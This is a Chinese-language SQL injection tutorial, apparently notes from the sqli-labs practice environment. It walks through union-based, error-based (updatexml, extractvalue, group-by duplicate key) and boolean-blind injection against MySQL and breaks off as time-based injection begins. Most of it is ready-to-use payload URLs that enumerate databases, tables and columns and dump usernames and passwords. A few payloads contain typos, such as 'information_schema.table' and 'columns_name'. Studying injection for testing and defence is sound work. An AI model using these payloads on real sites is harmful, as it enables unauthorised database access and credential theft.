学前须知
在Mysql 5.0以上版本中,为了方便管理,默认定义了information_schema数据库,用来储存数据库元信息,其中具有表schemata(数据库名)、table(表名)、columns(字段名、列名)
sql语句的基本语法学习https://www.w3school.com.cn/sql/index.asp
一、参数分类
1.数字型 当输入的参数为整形时,如果存在注入漏洞,可以认为是数字型注入。
如 www.text.com/text.php?id=3 对应的sql语句为 select * from table where id=3
2.字符型 当输入的参数为字符串时,称为字符型。字符型和数字型最大的一个区别在于,数字型不需要单引号来闭合,而字符串一般需要通过单引号来闭合的。即看参数是否被引号包裹
例如数字型语句:select * from table where id =3
则字符型如下:select * from table where name=’admin’
二、注入手法分类
UNION query SQL injection(联合查询注入)
Error-based SQL injection(错型注入)
Boolean-based blind SQL injection(基于布尔的盲注)
Time-based blind SQL injection(基于时间的盲注)
Stacked queries SQL injection(可多语句查询注入)
1.union联合查询
1.判断注入点
输入?id=1' 页面报出sql语法错误。
输入
?id=1' and 1=1 --+
页面正常显示,
输入
?id=1' and 1=2 --+
页面不显示内容,说明程序对我们输入的sql语句结果是否正确做出判断,可以得出注入点是单引号
2.判断表的字段数 (表的列数)
输入
?id=1' order by 3 --+
order by 语句对表的字段进行排序 默认为升序, 如果您希望按照降序对记录进行排序,可以使用 desc 关键字。
输入
?id=1' order by 4 --+
判断出该表的字段数为3,接下来判断我们的输入会在屏幕哪个地方进行回显
3.判断显示位
输入
?id=-1' union select 1,2,3 --+
id=-1, 这里-1的目的是让程序无法查到内容并返回结果,以执行后面的sql语句,也可以是999之类
显示位为后面的两位。
4.查询数据库名
根据显示位,用sql语句代替显示位,查询想要得到的结果
?id=-1' union select 4,database(),6 --+
5.爆数据库中的表
?id=-1' union select 1,group_concat(table_name),3 from information_schema.table where
table_schema=database() --+
6.爆表中的字段
?id=-1' union select 1,group_concat(columns_name),3 from information_schema.columns where
table_schema='security' and table_name='users' --+
7.爆字段中的数据
?id=-1' union select 1,group_concat(id,'--',username,'--',password),3 from users --+
到此完成了一个完整的脱库过程,联合查询也就完成了。
2.报错注入
报错注入用在数据库的错误信息会回显在网页中的情况,如果联合查询不能使用,首选报错注入。报错注入利用的是数据库的报错信息得到数据库的内容,这里需要构造语句让数据库报错。
推荐三种报错注入的方法,直接套用就行。以less-5为例子
1. group_by 重复建冲
?id=1' and (select 1 from (select count(*),concat((select 要查询的内容 from
information_schema.tables limit 0,1),floor(rand()*2))x from information_schema.tables
group by x)a) --+
输入 ?id=1' and (select 1 from (select count(*),concat((select database() from information_schema.tables limit 0,1),floor(rand()*2))x from information_schema.tables group by x)a) --+
查询数据库名称
?id=1' and (select 1 from (select count(*),concat((select database() from
information_schema.tables limit 0,1),floor(rand()*2))x from information_schema.tables
group by x)a) --+
2. updatexml()函数
and updatexml(1,concat('^',(需要查询的内容)),1)
3.extractvalue()函数
?id=1' and extractvalue(1,concat('^',(select database()))) --+
?id=1' extractvalue(1,concat(0x7e,database())) --+
爆表
?id=1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security')))--+
爆字段
?id=1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from
information_schema.columns where table_name='users')))
由于extractvalue()函数和updatexml()函数 只能报错查询32个字符长度。查询其余字段可以在后面加入这样的语句,排除刚刚查到的内容
and column_name not in ('以查询到的','内容')
也可以在一开始查询的伤害 不使用group_concat()函数
出现这样的语句 意思是查询返回结果超过一行 在结尾加入这句代码限制返回结果 (显示第0行的往下一行,不包括第0行)
limit 0,1
然后limit 1,1 (显示第1行的往下一行,不包括第一行)
依次查询所有的字段
爆字段中的内容
?id=1' and extractvalue(1,concat(0x7e,(select group_concat(id,'--',username,'--') from users ))) --+
3.基于布尔的盲注
布尔盲注,即在页面没有错误回显时完成的注入攻击。此时我们输入的语句让页面呈现出两种状态,相当于true和false,根据这两种状态可以判断我们输入的语句是否查询成功。
布尔盲注的注入步骤
我们构造判断语句 (and 前后都为真则为真,也可用 or),根据页面是否回显证实猜想。一般用到的函数ascii() 、substr() 、length(),exists()、concat()等。
判断数据库名
- MySQL数据库表 information_schema.tables
- access msysobjects
- SQLServer sysobjects
1:判断当前数据库的长度,利用二分法
http://127.0.0.1/sqli/Less-5/?id=1' and length(database())>5 --+ //正常显示
http://127.0.0.1/sqli/Less-5/?id=1' and length(database())>10 --+ //不显示任何数据
http://127.0.0.1/sqli/Less-5/?id=1' and length(database())>7 --+ //正常显示
http://127.0.0.1/sqli/Less-5/?id=1' and length(database())>8 --+ //不显示任何数据
大于7正常显示,大于8不显示,说明大于7而不大于8,所以可知当前数据库长度为8个字符
2:判断当前数据库的字符,和上面的方法一样,利用二分法依次判断
//判断数据库的第一个字符
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr(database(),1,1))>115 --+ //100为ascii表中的十进制,对应字母s
//判断数据库的第二个字符
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr(database(),2,1))>100 --+
//判断数据库的第三个字符
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr(database(),3,1))>100 --+
...........
由此可以判断出当前数据库为 security
判断当前库的表
//猜测当前数据库中是否存在admin表
http://127.0.0.1/sqli/Less-5/?id=1' and exists(select*from admin) --+
1:判断当前数据库中表的个数
// 判断当前数据库中的表的个数是否大于5,用二分法依次判断,最后得知当前数据库表的个数为4
http://127.0.0.1/sqli/Less-5/?id=1' and (select count(table_name) from information_schema.tables where table_schema=database())>3 --+
2:判断每个表的长度
//判断第一个表的长度,用二分法依次判断,最后可知当前数据库中第一个表的长度为6
http://127.0.0.1/sqli/Less-5/?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>6 --+
//判断第二个表的长度,用二分法依次判断,最后可知当前数据库中第二个表的长度为6
http://127.0.0.1/sqli/Less-5/?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 1,1))=6 --+
3:判断每个表的每个字符的ascii值
//判断第一个表的第一个字符的ascii值
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>100 --+
//判断第一个表的第二个字符的ascii值
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))>100 --+
.........
由此可判断出存在表 emails、referers、uagents、users ,猜测users表中最有可能存在账户和密码,所以以下判断字段和数据在 users 表中判断
判断表的字段
- 判断字段个数
- 判断每个字段的长度
- 猜每个字段的字符
//如果已经证实了存在admin表,那么猜测是否存在username字段
http://127.0.0.1/sqli/Less-5/?id=1' and exists(select username from admin)
1:判断表中字段的个数
//判断users表中字段个数是否大于5
http://127.0.0.1/sqli/Less-5/?id=1' and (select count(column_name) from information_schema.columns where table_name='users' and table_schema='security')>5 --+
2:判断每个字段的长度
//判断第一个字段的长度
http://127.0.0.1/sqli/Less-5/?id=1' and length((select column_name from information_schema.columns where table_name='users' limit 0,1))>5 --+
//判断第二个字段的长度
http://127.0.0.1/sqli/Less-5/?id=1' and length((select column_name from information_schema.columns where table_name='users' limit 1,1))>5 --+
3:判断每个字段名字的ascii值
//判断第一个字段的第一个字符的ascii
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))>100 --+
//判断第一个字段的第二个字符的ascii
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),2,1))>100 --+
...........
由此可判断出users表中存在 id、username、password 字段
爆字段中的数据
- 猜字段中数据的长度
- 猜字段数据的每个字符ascii码 得字符
我们知道了users中有三个字段 id 、username 、password,我们现在爆出每个字段的数据
1: 判断数据的长度
// 判断id字段的第一个数据的长度
http://127.0.0.1/sqli/Less-5/?id=1' and length((select id from users limit 0,1))>5 --+
// 判断id字段的第二个数据的长度
http://127.0.0.1/sqli/Less-5/?id=1' and length((select id from users limit 1,1))>5 --+
2:判断数据的ascii值
// 判断id字段的第一行数据的第一个字符的ascii值
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select id from users limit 0,1),1,1))>100 --+
// 判断id字段的第二行数据的第二个字符的ascii值
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select id from users limit 0,1),2,1))>100 --+
...........
一般布尔盲注手工注入过于繁琐,一般使用工具。
4.基于时间的盲注
观察页面,当既没有显示数据库信息,也没有报错,还不能布尔盲注,这时候就可以考虑使用延时注入,延时注入就是将页面的时间线作为判断依据,一点一点注入出数据库的信息。我们以第9关为例,在id=1后面加单引号或者双引号,页面不会发生任何改变,所以我们考虑绝招延时注入。
输入
?id=1' and sleep(5) --+